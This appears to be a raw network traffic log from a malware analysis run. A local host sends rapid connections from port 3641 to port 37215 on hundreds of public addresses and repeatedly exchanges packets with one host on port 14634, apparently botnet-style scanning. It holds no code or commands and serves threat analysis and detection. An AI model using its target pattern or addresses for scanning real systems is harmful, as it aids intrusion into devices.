Dec 30, 2023 07:13:41.344561100 CET	3641	37215	192.168.2.23	41.23.51.84
Dec 30, 2023 07:13:41.344564915 CET	3641	37215	192.168.2.23	94.47.144.89
Dec 30, 2023 07:13:41.344568968 CET	3641	37215	192.168.2.23	156.200.237.110
Dec 30, 2023 07:13:41.344569921 CET	3641	37215	192.168.2.23	196.105.239.221
Dec 30, 2023 07:13:41.344573021 CET	3641	37215	192.168.2.23	121.126.242.147
Dec 30, 2023 07:13:41.344573021 CET	3641	37215	192.168.2.23	196.50.91.110
Dec 30, 2023 07:13:41.344578028 CET	3641	37215	192.168.2.23	197.49.79.53
Dec 30, 2023 07:13:41.344578028 CET	3641	37215	192.168.2.23	121.241.169.255
Dec 30, 2023 07:13:41.344580889 CET	3641	37215	192.168.2.23	156.16.48.156
Dec 30, 2023 07:13:41.344580889 CET	3641	37215	192.168.2.23	156.114.1.108
Dec 30, 2023 07:13:41.344587088 CET	3641	37215	192.168.2.23	41.238.239.157
Dec 30, 2023 07:13:41.344587088 CET	3641	37215	192.168.2.23	181.227.39.128
Dec 30, 2023 07:13:41.344587088 CET	3641	37215	192.168.2.23	41.186.97.215
Dec 30, 2023 07:13:41.344598055 CET	3641	37215	192.168.2.23	92.142.114.252
Dec 30, 2023 07:13:41.344602108 CET	3641	37215	192.168.2.23	160.18.9.35
Dec 30, 2023 07:13:41.344603062 CET	3641	37215	192.168.2.23	197.11.217.110
Dec 30, 2023 07:13:41.344611883 CET	3641	37215	192.168.2.23	94.215.134.183
Dec 30, 2023 07:13:41.344611883 CET	3641	37215	192.168.2.23	41.219.153.102
Dec 30, 2023 07:13:41.344619036 CET	3641	37215	192.168.2.23	138.71.251.2
Dec 30, 2023 07:13:41.344624996 CET	3641	37215	192.168.2.23	197.181.23.29
Dec 30, 2023 07:13:41.344630003 CET	3641	37215	192.168.2.23	138.229.205.235
Dec 30, 2023 07:13:41.344636917 CET	3641	37215	192.168.2.23	157.242.31.174
Dec 30, 2023 07:13:41.344636917 CET	3641	37215	192.168.2.23	41.43.53.146
Dec 30, 2023 07:13:41.344641924 CET	3641	37215	192.168.2.23	41.49.144.109
Dec 30, 2023 07:13:41.344651937 CET	3641	37215	192.168.2.23	157.43.176.155
Dec 30, 2023 07:13:41.344652891 CET	3641	37215	192.168.2.23	41.124.224.129
Dec 30, 2023 07:13:41.344652891 CET	3641	37215	192.168.2.23	181.71.2.92
Dec 30, 2023 07:13:41.344659090 CET	3641	37215	192.168.2.23	197.72.126.74
Dec 30, 2023 07:13:41.344674110 CET	3641	37215	192.168.2.23	197.74.63.198
Dec 30, 2023 07:13:41.344677925 CET	3641	37215	192.168.2.23	156.22.233.46
Dec 30, 2023 07:13:41.344677925 CET	3641	37215	192.168.2.23	102.209.73.183
Dec 30, 2023 07:13:41.344677925 CET	3641	37215	192.168.2.23	157.235.41.204
Dec 30, 2023 07:13:41.344677925 CET	3641	37215	192.168.2.23	197.64.241.232
Dec 30, 2023 07:13:41.344681978 CET	3641	37215	192.168.2.23	156.202.78.211
Dec 30, 2023 07:13:41.344686031 CET	3641	37215	192.168.2.23	156.151.185.219
Dec 30, 2023 07:13:41.344687939 CET	3641	37215	192.168.2.23	41.25.153.54
Dec 30, 2023 07:13:41.344690084 CET	3641	37215	192.168.2.23	156.39.149.179
Dec 30, 2023 07:13:41.344692945 CET	3641	37215	192.168.2.23	197.246.191.94
Dec 30, 2023 07:13:41.344712019 CET	3641	37215	192.168.2.23	156.239.112.108
Dec 30, 2023 07:13:41.344717026 CET	3641	37215	192.168.2.23	138.244.207.166
Dec 30, 2023 07:13:41.344717026 CET	3641	37215	192.168.2.23	41.133.131.106
Dec 30, 2023 07:13:41.344724894 CET	3641	37215	192.168.2.23	197.212.18.44
Dec 30, 2023 07:13:41.344724894 CET	3641	37215	192.168.2.23	41.24.177.177
Dec 30, 2023 07:13:41.344727993 CET	3641	37215	192.168.2.23	95.253.153.33
Dec 30, 2023 07:13:41.344727993 CET	3641	37215	192.168.2.23	156.173.14.104
Dec 30, 2023 07:13:41.344729900 CET	3641	37215	192.168.2.23	156.235.26.162
Dec 30, 2023 07:13:41.344729900 CET	3641	37215	192.168.2.23	197.163.196.91
Dec 30, 2023 07:13:41.344729900 CET	3641	37215	192.168.2.23	120.170.92.120
Dec 30, 2023 07:13:41.344734907 CET	3641	37215	192.168.2.23	37.218.239.115
Dec 30, 2023 07:13:41.344734907 CET	3641	37215	192.168.2.23	197.206.49.182
Dec 30, 2023 07:13:41.344734907 CET	3641	37215	192.168.2.23	197.145.171.32
Dec 30, 2023 07:13:41.344738007 CET	3641	37215	192.168.2.23	107.3.19.9
Dec 30, 2023 07:13:41.344738007 CET	3641	37215	192.168.2.23	197.94.39.240
Dec 30, 2023 07:13:41.344738007 CET	3641	37215	192.168.2.23	41.129.161.62
Dec 30, 2023 07:13:41.344746113 CET	3641	37215	192.168.2.23	102.115.101.207
Dec 30, 2023 07:13:41.344750881 CET	3641	37215	192.168.2.23	190.246.246.78
Dec 30, 2023 07:13:41.344750881 CET	3641	37215	192.168.2.23	41.36.20.16
Dec 30, 2023 07:13:41.344754934 CET	3641	37215	192.168.2.23	41.47.92.16
Dec 30, 2023 07:13:41.344763994 CET	3641	37215	192.168.2.23	222.73.144.149
Dec 30, 2023 07:13:41.344763994 CET	3641	37215	192.168.2.23	197.238.163.1
Dec 30, 2023 07:13:41.344779968 CET	3641	37215	192.168.2.23	197.43.112.212
Dec 30, 2023 07:13:41.344780922 CET	3641	37215	192.168.2.23	41.75.246.249
Dec 30, 2023 07:13:41.344784021 CET	3641	37215	192.168.2.23	157.166.128.123
Dec 30, 2023 07:13:41.344794035 CET	3641	37215	192.168.2.23	157.182.3.216
Dec 30, 2023 07:13:41.344799995 CET	3641	37215	192.168.2.23	156.113.218.10
Dec 30, 2023 07:13:41.344800949 CET	3641	37215	192.168.2.23	197.119.134.34
Dec 30, 2023 07:13:41.344801903 CET	3641	37215	192.168.2.23	41.23.217.40
Dec 30, 2023 07:13:41.344810963 CET	3641	37215	192.168.2.23	197.164.120.178
Dec 30, 2023 07:13:41.344810963 CET	3641	37215	192.168.2.23	156.169.169.76
Dec 30, 2023 07:13:41.344820023 CET	3641	37215	192.168.2.23	197.178.201.236
Dec 30, 2023 07:13:41.344825029 CET	3641	37215	192.168.2.23	156.162.85.68
Dec 30, 2023 07:13:41.344825029 CET	3641	37215	192.168.2.23	41.36.14.194
Dec 30, 2023 07:13:41.344825983 CET	3641	37215	192.168.2.23	197.28.66.164
Dec 30, 2023 07:13:41.344836950 CET	3641	37215	192.168.2.23	156.174.205.111
Dec 30, 2023 07:13:41.344836950 CET	3641	37215	192.168.2.23	122.12.13.133
Dec 30, 2023 07:13:41.344842911 CET	3641	37215	192.168.2.23	186.64.71.34
Dec 30, 2023 07:13:41.344849110 CET	3641	37215	192.168.2.23	41.26.154.232
Dec 30, 2023 07:13:41.344857931 CET	3641	37215	192.168.2.23	156.210.104.251
Dec 30, 2023 07:13:41.344863892 CET	3641	37215	192.168.2.23	41.105.13.184
Dec 30, 2023 07:13:41.344863892 CET	3641	37215	192.168.2.23	181.149.77.7
Dec 30, 2023 07:13:41.344863892 CET	3641	37215	192.168.2.23	41.22.118.185
Dec 30, 2023 07:13:41.344866037 CET	3641	37215	192.168.2.23	156.144.7.20
Dec 30, 2023 07:13:41.344868898 CET	3641	37215	192.168.2.23	156.41.45.67
Dec 30, 2023 07:13:41.344868898 CET	3641	37215	192.168.2.23	156.184.70.92
Dec 30, 2023 07:13:41.344877958 CET	3641	37215	192.168.2.23	156.255.134.184
Dec 30, 2023 07:13:41.344887018 CET	3641	37215	192.168.2.23	222.153.83.94
Dec 30, 2023 07:13:41.344897985 CET	3641	37215	192.168.2.23	197.145.158.254
Dec 30, 2023 07:13:41.344903946 CET	3641	37215	192.168.2.23	156.27.139.10
Dec 30, 2023 07:13:41.344903946 CET	3641	37215	192.168.2.23	197.120.137.19
Dec 30, 2023 07:13:41.344903946 CET	3641	37215	192.168.2.23	156.178.59.200
Dec 30, 2023 07:13:41.344913006 CET	3641	37215	192.168.2.23	41.72.106.101
Dec 30, 2023 07:13:41.344913006 CET	3641	37215	192.168.2.23	156.142.219.233
Dec 30, 2023 07:13:41.344918013 CET	3641	37215	192.168.2.23	156.85.41.11
Dec 30, 2023 07:13:41.344918013 CET	3641	37215	192.168.2.23	41.157.86.172
Dec 30, 2023 07:13:41.344918013 CET	3641	37215	192.168.2.23	94.164.196.241
Dec 30, 2023 07:13:41.344921112 CET	3641	37215	192.168.2.23	156.176.196.40
Dec 30, 2023 07:13:41.344922066 CET	3641	37215	192.168.2.23	197.71.118.0
Dec 30, 2023 07:13:41.344923019 CET	3641	37215	192.168.2.23	156.160.155.119
Dec 30, 2023 07:13:41.344923019 CET	3641	37215	192.168.2.23	197.66.71.226
Dec 30, 2023 07:13:41.344923019 CET	3641	37215	192.168.2.23	197.147.195.43
Dec 30, 2023 07:13:41.344924927 CET	3641	37215	192.168.2.23	154.0.99.95
Dec 30, 2023 07:13:41.344924927 CET	3641	37215	192.168.2.23	197.159.30.196
Dec 30, 2023 07:13:41.344927073 CET	3641	37215	192.168.2.23	156.93.114.65
Dec 30, 2023 07:13:41.344933033 CET	3641	37215	192.168.2.23	156.30.83.110
Dec 30, 2023 07:13:41.344945908 CET	3641	37215	192.168.2.23	156.52.29.211
Dec 30, 2023 07:13:41.344948053 CET	3641	37215	192.168.2.23	41.148.121.27
Dec 30, 2023 07:13:41.344949961 CET	3641	37215	192.168.2.23	156.69.178.152
Dec 30, 2023 07:13:41.344957113 CET	3641	37215	192.168.2.23	197.24.62.236
Dec 30, 2023 07:13:41.344957113 CET	3641	37215	192.168.2.23	156.22.87.19
Dec 30, 2023 07:13:41.344966888 CET	3641	37215	192.168.2.23	37.248.32.40
Dec 30, 2023 07:13:41.344968081 CET	3641	37215	192.168.2.23	197.112.152.34
Dec 30, 2023 07:13:41.344970942 CET	3641	37215	192.168.2.23	94.219.255.33
Dec 30, 2023 07:13:41.344988108 CET	3641	37215	192.168.2.23	95.108.74.154
Dec 30, 2023 07:13:41.344989061 CET	3641	37215	192.168.2.23	157.255.185.36
Dec 30, 2023 07:13:41.344994068 CET	3641	37215	192.168.2.23	156.150.154.56
Dec 30, 2023 07:13:41.344994068 CET	3641	37215	192.168.2.23	197.139.3.197
Dec 30, 2023 07:13:41.344994068 CET	3641	37215	192.168.2.23	41.93.130.70
Dec 30, 2023 07:13:41.344994068 CET	3641	37215	192.168.2.23	197.223.206.239
Dec 30, 2023 07:13:41.344994068 CET	3641	37215	192.168.2.23	156.138.99.62
Dec 30, 2023 07:13:41.344997883 CET	3641	37215	192.168.2.23	41.203.222.207
Dec 30, 2023 07:13:41.345000029 CET	3641	37215	192.168.2.23	156.215.101.129
Dec 30, 2023 07:13:41.345010042 CET	3641	37215	192.168.2.23	197.240.102.48
Dec 30, 2023 07:13:41.345017910 CET	3641	37215	192.168.2.23	156.114.225.72
Dec 30, 2023 07:13:41.345017910 CET	3641	37215	192.168.2.23	197.184.207.248
Dec 30, 2023 07:13:41.345019102 CET	3641	37215	192.168.2.23	122.74.59.245
Dec 30, 2023 07:13:41.345022917 CET	3641	37215	192.168.2.23	41.42.181.40
Dec 30, 2023 07:13:41.345030069 CET	3641	37215	192.168.2.23	197.219.75.169
Dec 30, 2023 07:13:41.345035076 CET	3641	37215	192.168.2.23	197.95.6.209
Dec 30, 2023 07:13:41.345035076 CET	3641	37215	192.168.2.23	197.56.215.11
Dec 30, 2023 07:13:41.345036983 CET	3641	37215	192.168.2.23	41.49.121.143
Dec 30, 2023 07:13:41.345056057 CET	3641	37215	192.168.2.23	41.236.63.108
Dec 30, 2023 07:13:41.345055103 CET	3641	37215	192.168.2.23	41.196.11.78
Dec 30, 2023 07:13:41.345058918 CET	3641	37215	192.168.2.23	197.159.195.132
Dec 30, 2023 07:13:41.345062017 CET	3641	37215	192.168.2.23	41.180.122.66
Dec 30, 2023 07:13:41.345067978 CET	3641	37215	192.168.2.23	138.81.221.9
Dec 30, 2023 07:13:41.345081091 CET	3641	37215	192.168.2.23	41.24.16.63
Dec 30, 2023 07:13:41.345087051 CET	3641	37215	192.168.2.23	156.183.250.192
Dec 30, 2023 07:13:41.345087051 CET	3641	37215	192.168.2.23	156.134.248.92
Dec 30, 2023 07:13:41.345087051 CET	3641	37215	192.168.2.23	41.84.209.236
Dec 30, 2023 07:13:41.345087051 CET	3641	37215	192.168.2.23	197.130.59.66
Dec 30, 2023 07:13:41.345087051 CET	3641	37215	192.168.2.23	41.211.222.176
Dec 30, 2023 07:13:41.345092058 CET	3641	37215	192.168.2.23	41.235.96.108
Dec 30, 2023 07:13:41.345092058 CET	3641	37215	192.168.2.23	197.204.229.191
Dec 30, 2023 07:13:41.345093012 CET	3641	37215	192.168.2.23	102.155.11.203
Dec 30, 2023 07:13:41.345093966 CET	3641	37215	192.168.2.23	156.253.246.110
Dec 30, 2023 07:13:41.345098019 CET	3641	37215	192.168.2.23	92.113.211.166
Dec 30, 2023 07:13:41.345113039 CET	3641	37215	192.168.2.23	181.159.19.100
Dec 30, 2023 07:13:41.345117092 CET	3641	37215	192.168.2.23	196.166.191.32
Dec 30, 2023 07:13:41.345117092 CET	3641	37215	192.168.2.23	41.255.160.125
Dec 30, 2023 07:13:41.345118999 CET	3641	37215	192.168.2.23	222.74.82.69
Dec 30, 2023 07:13:41.345118999 CET	3641	37215	192.168.2.23	95.91.134.221
Dec 30, 2023 07:13:41.345118999 CET	3641	37215	192.168.2.23	190.32.241.177
Dec 30, 2023 07:13:41.345135927 CET	3641	37215	192.168.2.23	37.224.19.2
Dec 30, 2023 07:13:41.345143080 CET	3641	37215	192.168.2.23	156.227.41.105
Dec 30, 2023 07:13:41.345144987 CET	3641	37215	192.168.2.23	156.213.193.197
Dec 30, 2023 07:13:41.345150948 CET	3641	37215	192.168.2.23	41.97.211.95
Dec 30, 2023 07:13:41.345150948 CET	3641	37215	192.168.2.23	94.187.237.62
Dec 30, 2023 07:13:41.345160961 CET	3641	37215	192.168.2.23	41.74.81.222
Dec 30, 2023 07:13:41.345163107 CET	3641	37215	192.168.2.23	197.251.143.2
Dec 30, 2023 07:13:41.345163107 CET	3641	37215	192.168.2.23	41.84.175.218
Dec 30, 2023 07:13:41.345166922 CET	3641	37215	192.168.2.23	190.252.129.247
Dec 30, 2023 07:13:41.345166922 CET	3641	37215	192.168.2.23	41.19.60.226
Dec 30, 2023 07:13:41.345169067 CET	3641	37215	192.168.2.23	197.137.55.22
Dec 30, 2023 07:13:41.345169067 CET	3641	37215	192.168.2.23	197.186.123.26
Dec 30, 2023 07:13:41.345176935 CET	3641	37215	192.168.2.23	154.123.111.208
Dec 30, 2023 07:13:41.345186949 CET	3641	37215	192.168.2.23	157.184.133.225
Dec 30, 2023 07:13:41.345187902 CET	3641	37215	192.168.2.23	197.51.120.90
Dec 30, 2023 07:13:41.345187902 CET	3641	37215	192.168.2.23	157.148.56.160
Dec 30, 2023 07:13:41.345187902 CET	3641	37215	192.168.2.23	41.112.36.86
Dec 30, 2023 07:13:41.345206976 CET	3641	37215	192.168.2.23	156.175.143.159
Dec 30, 2023 07:13:41.345207930 CET	3641	37215	192.168.2.23	41.101.79.53
Dec 30, 2023 07:13:41.345211983 CET	3641	37215	192.168.2.23	160.71.215.184
Dec 30, 2023 07:13:41.345221043 CET	3641	37215	192.168.2.23	156.174.180.207
Dec 30, 2023 07:13:41.345222950 CET	3641	37215	192.168.2.23	197.140.168.106
Dec 30, 2023 07:13:41.345225096 CET	3641	37215	192.168.2.23	156.236.90.6
Dec 30, 2023 07:13:41.345230103 CET	3641	37215	192.168.2.23	95.82.45.64
Dec 30, 2023 07:13:41.345232010 CET	3641	37215	192.168.2.23	156.21.255.118
Dec 30, 2023 07:13:41.345240116 CET	3641	37215	192.168.2.23	41.45.151.141
Dec 30, 2023 07:13:41.345242977 CET	3641	37215	192.168.2.23	156.124.147.90
Dec 30, 2023 07:13:41.345249891 CET	3641	37215	192.168.2.23	94.21.167.103
Dec 30, 2023 07:13:41.345253944 CET	3641	37215	192.168.2.23	197.77.29.64
Dec 30, 2023 07:13:41.345259905 CET	3641	37215	192.168.2.23	41.223.43.38
Dec 30, 2023 07:13:41.345263958 CET	3641	37215	192.168.2.23	197.172.39.134
Dec 30, 2023 07:13:41.345267057 CET	3641	37215	192.168.2.23	107.79.145.201
Dec 30, 2023 07:13:41.345272064 CET	3641	37215	192.168.2.23	156.23.184.241
Dec 30, 2023 07:13:41.345279932 CET	3641	37215	192.168.2.23	120.199.76.165
Dec 30, 2023 07:13:41.345284939 CET	3641	37215	192.168.2.23	41.174.39.223
Dec 30, 2023 07:13:41.345284939 CET	3641	37215	192.168.2.23	138.213.233.121
Dec 30, 2023 07:13:41.345290899 CET	3641	37215	192.168.2.23	222.164.183.229
Dec 30, 2023 07:13:41.345292091 CET	3641	37215	192.168.2.23	95.85.0.233
Dec 30, 2023 07:13:41.345295906 CET	3641	37215	192.168.2.23	197.79.207.231
Dec 30, 2023 07:13:41.345300913 CET	3641	37215	192.168.2.23	41.86.157.189
Dec 30, 2023 07:13:41.345308065 CET	3641	37215	192.168.2.23	197.99.59.123
Dec 30, 2023 07:13:41.345320940 CET	3641	37215	192.168.2.23	121.35.248.206
Dec 30, 2023 07:13:41.345323086 CET	3641	37215	192.168.2.23	196.137.15.253
Dec 30, 2023 07:13:41.345324993 CET	3641	37215	192.168.2.23	41.96.116.192
Dec 30, 2023 07:13:41.345329046 CET	3641	37215	192.168.2.23	41.74.101.2
Dec 30, 2023 07:13:41.345334053 CET	3641	37215	192.168.2.23	160.59.124.52
Dec 30, 2023 07:13:41.345350981 CET	3641	37215	192.168.2.23	197.210.129.114
Dec 30, 2023 07:13:41.345352888 CET	3641	37215	192.168.2.23	94.113.124.155
Dec 30, 2023 07:13:41.345355034 CET	3641	37215	192.168.2.23	197.19.51.215
Dec 30, 2023 07:13:41.345360041 CET	3641	37215	192.168.2.23	41.166.137.226
Dec 30, 2023 07:13:41.345360994 CET	3641	37215	192.168.2.23	41.79.35.160
Dec 30, 2023 07:13:41.345364094 CET	3641	37215	192.168.2.23	197.181.4.175
Dec 30, 2023 07:13:41.345365047 CET	3641	37215	192.168.2.23	156.155.47.176
Dec 30, 2023 07:13:41.345365047 CET	3641	37215	192.168.2.23	45.186.5.17
Dec 30, 2023 07:13:41.345371008 CET	3641	37215	192.168.2.23	197.128.104.72
Dec 30, 2023 07:13:41.345371008 CET	3641	37215	192.168.2.23	186.195.132.209
Dec 30, 2023 07:13:41.345372915 CET	3641	37215	192.168.2.23	95.238.84.189
Dec 30, 2023 07:13:41.345377922 CET	3641	37215	192.168.2.23	196.19.237.194
Dec 30, 2023 07:13:41.345380068 CET	3641	37215	192.168.2.23	156.255.167.238
Dec 30, 2023 07:13:41.497709036 CET	37215	3641	45.125.110.7	192.168.2.23
Dec 30, 2023 07:13:41.497807980 CET	3641	37215	192.168.2.23	45.125.110.7
Dec 30, 2023 07:13:41.598433018 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:41.643652916 CET	37215	3641	186.64.71.34	192.168.2.23
Dec 30, 2023 07:13:41.722378969 CET	37215	3641	41.203.42.133	192.168.2.23
Dec 30, 2023 07:13:41.841558933 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:13:41.841614008 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:41.841639042 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:42.085227013 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:13:42.085283995 CET	42724	14634	192.168.2.23	89.190.156.5
Dec 30, 2023 07:13:42.328660011 CET	14634	42724	89.190.156.5	192.168.2.23
Dec 30, 2023 07:13:42.346313000 CET	3641	37215	192.168.2.23	41.123.36.88
Dec 30, 2023 07:13:42.346323013 CET	3641	37215	192.168.2.23	41.48.197.229
Dec 30, 2023 07:13:42.346332073 CET	3641	37215	192.168.2.23	156.45.206.99
Dec 30, 2023 07:13:42.346332073 CET	3641	37215	192.168.2.23	197.49.78.23
Dec 30, 2023 07:13:42.346343040 CET	3641	37215	192.168.2.23	92.135.51.214
Dec 30, 2023 07:13:42.346342087 CET	3641	37215	192.168.2.23	190.61.74.4
Dec 30, 2023 07:13:42.346352100 CET	3641	37215	192.168.2.23	156.98.251.247
Dec 30, 2023 07:13:42.346360922 CET	3641	37215	192.168.2.23	196.63.58.11
Dec 30, 2023 07:13:42.346362114 CET	3641	37215	192.168.2.23	156.169.56.88
Dec 30, 2023 07:13:42.346362114 CET	3641	37215	192.168.2.23	156.151.226.27
Dec 30, 2023 07:13:42.346362114 CET	3641	37215	192.168.2.23	157.91.223.127
Dec 30, 2023 07:13:42.346362114 CET	3641	37215	192.168.2.23	156.202.94.8
Dec 30, 2023 07:13:42.346364975 CET	3641	37215	192.168.2.23	41.10.213.25
Dec 30, 2023 07:13:42.346364975 CET	3641	37215	192.168.2.23	197.13.32.225
Dec 30, 2023 07:13:42.346376896 CET	3641	37215	192.168.2.23	197.64.226.118
Dec 30, 2023 07:13:42.346380949 CET	3641	37215	192.168.2.23	181.171.156.137
Dec 30, 2023 07:13:42.346383095 CET	3641	37215	192.168.2.23	181.133.23.192
Dec 30, 2023 07:13:42.346398115 CET	3641	37215	192.168.2.23	41.139.69.238
Dec 30, 2023 07:13:42.346398115 CET	3641	37215	192.168.2.23	190.45.65.93
Dec 30, 2023 07:13:42.346398115 CET	3641	37215	192.168.2.23	156.140.10.155
Dec 30, 2023 07:13:42.346409082 CET	3641	37215	192.168.2.23	197.215.163.173
Dec 30, 2023 07:13:42.346410990 CET	3641	37215	192.168.2.23	197.42.223.227
Dec 30, 2023 07:13:42.346410990 CET	3641	37215	192.168.2.23	197.52.238.190
Dec 30, 2023 07:13:42.346410990 CET	3641	37215	192.168.2.23	41.21.195.220
Dec 30, 2023 07:13:42.346417904 CET	3641	37215	192.168.2.23	107.181.162.222
Dec 30, 2023 07:13:42.346426010 CET	3641	37215	192.168.2.23	95.217.63.198
Dec 30, 2023 07:13:42.346434116 CET	3641	37215	192.168.2.23	156.123.137.9
Dec 30, 2023 07:13:42.346443892 CET	3641	37215	192.168.2.23	41.185.179.212
Dec 30, 2023 07:13:42.346446991 CET	3641	37215	192.168.2.23	92.166.47.91
Dec 30, 2023 07:13:42.346446991 CET	3641	37215	192.168.2.23	197.119.233.81
Dec 30, 2023 07:13:42.346446991 CET	3641	37215	192.168.2.23	197.76.13.32
Dec 30, 2023 07:13:42.346451998 CET	3641	37215	192.168.2.23	156.70.118.10
Dec 30, 2023 07:13:42.346452951 CET	3641	37215	192.168.2.23	197.92.57.208
Dec 30, 2023 07:13:42.346452951 CET	3641	37215	192.168.2.23	196.128.228.154
Dec 30, 2023 07:13:42.346462965 CET	3641	37215	192.168.2.23	41.184.180.102
Dec 30, 2023 07:13:42.346462965 CET	3641	37215	192.168.2.23	156.3.177.169
Dec 30, 2023 07:13:42.346472025 CET	3641	37215	192.168.2.23	197.26.203.229
Dec 30, 2023 07:13:42.346473932 CET	3641	37215	192.168.2.23	107.234.139.182
Dec 30, 2023 07:13:42.346479893 CET	3641	37215	192.168.2.23	160.141.223.128
Dec 30, 2023 07:13:42.346492052 CET	3641	37215	192.168.2.23	41.142.68.14
Dec 30, 2023 07:13:42.346492052 CET	3641	37215	192.168.2.23	41.7.211.69
Dec 30, 2023 07:13:42.346496105 CET	3641	37215	192.168.2.23	197.52.157.245
Dec 30, 2023 07:13:42.346496105 CET	3641	37215	192.168.2.23	120.224.46.31
Dec 30, 2023 07:13:42.346503019 CET	3641	37215	192.168.2.23	197.152.137.205
Dec 30, 2023 07:13:42.346503019 CET	3641	37215	192.168.2.23	41.46.15.24
Dec 30, 2023 07:13:42.346507072 CET	3641	37215	192.168.2.23	156.11.84.150
Dec 30, 2023 07:13:42.346513987 CET	3641	37215	192.168.2.23	156.106.247.152
Dec 30, 2023 07:13:42.346524954 CET	3641	37215	192.168.2.23	41.113.63.167
Dec 30, 2023 07:13:42.346524954 CET	3641	37215	192.168.2.23	160.137.115.53
Dec 30, 2023 07:13:42.346529961 CET	3641	37215	192.168.2.23	197.34.231.218
Dec 30, 2023 07:13:42.346532106 CET	3641	37215	192.168.2.23	196.44.59.188
Dec 30, 2023 07:13:42.346535921 CET	3641	37215	192.168.2.23	197.91.43.244
Dec 30, 2023 07:13:42.346541882 CET	3641	37215	192.168.2.23	37.207.191.73
Dec 30, 2023 07:13:42.346546888 CET	3641	37215	192.168.2.23	156.53.53.12
Dec 30, 2023 07:13:42.346546888 CET	3641	37215	192.168.2.23	197.216.78.88
Dec 30, 2023 07:13:42.346548080 CET	3641	37215	192.168.2.23	156.33.43.62
Dec 30, 2023 07:13:42.346549988 CET	3641	37215	192.168.2.23	156.56.237.40
Dec 30, 2023 07:13:42.346549988 CET	3641	37215	192.168.2.23	156.185.31.252
Dec 30, 2023 07:13:42.346558094 CET	3641	37215	192.168.2.23	197.130.254.154
Dec 30, 2023 07:13:42.346568108 CET	3641	37215	192.168.2.23	107.110.91.179
Dec 30, 2023 07:13:42.346575022 CET	3641	37215	192.168.2.23	41.124.92.109
Dec 30, 2023 07:13:42.346585035 CET	3641	37215	192.168.2.23	197.159.96.155
Dec 30, 2023 07:13:42.346594095 CET	3641	37215	192.168.2.23	197.190.206.75
Dec 30, 2023 07:13:42.346596003 CET	3641	37215	192.168.2.23	156.170.9.184
Dec 30, 2023 07:13:42.346596003 CET	3641	37215	192.168.2.23	41.90.107.247
Dec 30, 2023 07:13:42.346602917 CET	3641	37215	192.168.2.23	107.183.197.174
Dec 30, 2023 07:13:42.346602917 CET	3641	37215	192.168.2.23	222.113.207.245
Dec 30, 2023 07:13:42.346604109 CET	3641	37215	192.168.2.23	41.13.158.125
Dec 30, 2023 07:13:42.346605062 CET	3641	37215	192.168.2.23	95.67.197.52
Dec 30, 2023 07:13:42.346606970 CET	3641	37215	192.168.2.23	197.26.77.128
Dec 30, 2023 07:13:42.346613884 CET	3641	37215	192.168.2.23	156.200.138.239
Dec 30, 2023 07:13:42.346613884 CET	3641	37215	192.168.2.23	41.21.178.236
Dec 30, 2023 07:13:42.346613884 CET	3641	37215	192.168.2.23	121.107.3.3
Dec 30, 2023 07:13:42.346621990 CET	3641	37215	192.168.2.23	197.161.221.244
Dec 30, 2023 07:13:42.346625090 CET	3641	37215	192.168.2.23	197.130.100.227
Dec 30, 2023 07:13:42.346632004 CET	3641	37215	192.168.2.23	102.152.245.155
Dec 30, 2023 07:13:42.346632004 CET	3641	37215	192.168.2.23	197.206.132.88
Dec 30, 2023 07:13:42.346636057 CET	3641	37215	192.168.2.23	197.7.68.8
Dec 30, 2023 07:13:42.346636057 CET	3641	37215	192.168.2.23	156.118.99.64
Dec 30, 2023 07:13:42.346637011 CET	3641	37215	192.168.2.23	197.218.76.129
Dec 30, 2023 07:13:42.346640110 CET	3641	37215	192.168.2.23	197.203.109.251
Dec 30, 2023 07:13:42.346640110 CET	3641	37215	192.168.2.23	156.183.158.58
Dec 30, 2023 07:13:42.346645117 CET	3641	37215	192.168.2.23	41.47.168.102
Dec 30, 2023 07:13:42.346651077 CET	3641	37215	192.168.2.23	186.18.206.41
Dec 30, 2023 07:13:42.346651077 CET	3641	37215	192.168.2.23	41.246.196.163
Dec 30, 2023 07:13:42.346663952 CET	3641	37215	192.168.2.23	197.129.154.134
Dec 30, 2023 07:13:42.346666098 CET	3641	37215	192.168.2.23	94.195.112.144
Dec 30, 2023 07:13:42.346667051 CET	3641	37215	192.168.2.23	157.60.52.133
Dec 30, 2023 07:13:42.346671104 CET	3641	37215	192.168.2.23	156.236.187.45
Dec 30, 2023 07:13:42.346673965 CET	3641	37215	192.168.2.23	41.128.201.100
Dec 30, 2023 07:13:42.346674919 CET	3641	37215	192.168.2.23	156.189.224.11
Dec 30, 2023 07:13:42.346676111 CET	3641	37215	192.168.2.23	41.97.174.24
Dec 30, 2023 07:13:42.346676111 CET	3641	37215	192.168.2.23	138.234.190.22
Dec 30, 2023 07:13:42.346676111 CET	3641	37215	192.168.2.23	190.157.42.211
Dec 30, 2023 07:13:42.346690893 CET	3641	37215	192.168.2.23	102.40.77.91
Dec 30, 2023 07:13:42.346693993 CET	3641	37215	192.168.2.23	107.12.82.80
Dec 30, 2023 07:13:42.346693993 CET	3641	37215	192.168.2.23	41.112.55.116
Dec 30, 2023 07:13:42.346698999 CET	3641	37215	192.168.2.23	156.110.43.104
Dec 30, 2023 07:13:42.346698999 CET	3641	37215	192.168.2.23	156.234.150.250
Dec 30, 2023 07:13:42.346698999 CET	3641	37215	192.168.2.23	197.200.244.249
Dec 30, 2023 07:13:42.346698999 CET	3641	37215	192.168.2.23	181.55.50.44
Dec 30, 2023 07:13:42.346700907 CET	3641	37215	192.168.2.23	197.151.67.147
Dec 30, 2023 07:13:42.346700907 CET	3641	37215	192.168.2.23	197.139.226.34
Dec 30, 2023 07:13:42.346713066 CET	3641	37215	192.168.2.23	41.154.12.222
Dec 30, 2023 07:13:42.346713066 CET	3641	37215	192.168.2.23	197.58.56.91
Dec 30, 2023 07:13:42.346713066 CET	3641	37215	192.168.2.23	156.150.30.174
Dec 30, 2023 07:13:42.346721888 CET	3641	37215	192.168.2.23	121.18.93.51
Dec 30, 2023 07:13:42.346721888 CET	3641	37215	192.168.2.23	197.254.187.61
Dec 30, 2023 07:13:42.346721888 CET	3641	37215	192.168.2.23	41.139.4.1
Dec 30, 2023 07:13:42.346721888 CET	3641	37215	192.168.2.23	197.179.96.180
Dec 30, 2023 07:13:42.346724987 CET	3641	37215	192.168.2.23	190.18.26.96
